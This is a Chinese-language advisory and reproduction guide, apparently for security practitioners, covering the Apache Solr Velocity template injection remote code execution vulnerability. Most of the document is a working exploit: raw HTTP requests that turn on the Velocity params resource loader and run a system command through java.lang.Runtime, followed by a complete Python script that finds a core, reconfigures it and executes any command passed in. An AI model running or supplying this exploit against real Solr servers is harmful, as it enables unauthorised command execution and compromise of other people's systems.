漏洞描述
Apache Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。<br /> 国外安全研究员 @s00py发布了Apache Solr velocity模板注入漏洞及exp,目前官网还未发布对此漏洞的安全补丁。<br />[https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt](https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt)
影响版本
漏洞复现
首先,访问Core Admin得到应用Path路径
Set “params.resource.loader.enabled” as true
POST /solr/test/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
执行命令
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8983
poc:
solr-velocity-rce.py
import requests
import sys
import json
def get_core(url):
solr_url = url + '/solr/admin/cores?wt=json&indexInfo=false'
r = requests.get(solr_url,verify=False,timeout=30)
core_name = list(json.loads(r.text)["status"])[0]
core_url = url + "/solr/" + core_name + "/config"
set_config(core_url)
def set_config(core_url):
headers = {
'User-Agent': "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; "
".NET CLR 2.0.50727)",
'Content-Type': 'application/json'
}
data = """
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
"""
r = requests.post(core_url,data=data,headers=headers,verify=False,timeout=30)
if r.status_code == 200:
print (r.content)
exp_url = core_url[:-7]
#print (exp_url)
cmd = sys.argv[2]
send_exp(exp_url,cmd)
else:
print ("set config false!\n")
def send_exp(exp_url,cmd):
exp_url = exp_url + "/select?q=1&&wt=velocity&v.template=custom&v.template.custom" \
"=%23set(" \
"$x=%27%27)+%23set($rt=$x.class.forName(" \
"%27java.lang.Runtime%27))+%23set(" \
"$chr=$x.class.forName(%27java.lang.Character%27))+%23set(" \
"$str=$x.class.forName(" \
"%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(" \
"%27" + cmd + "%27))+$ex.waitFor(" \
")+%23set($out=$ex.getInputStream())+%23foreach($i+in+[" \
"1..$out.available(" \
")])$str.valueOf($chr.toChars($out.read()))%23end"
r = requests.get(exp_url,verify=False,timeout=30)
print (exp_url)
print (r.content)
if __name__ == '__main__':
url = sys.argv[1]
print("\n[+] python %s http://x.x.x.x:8983 command\n" % sys.argv[0])
get_core(url)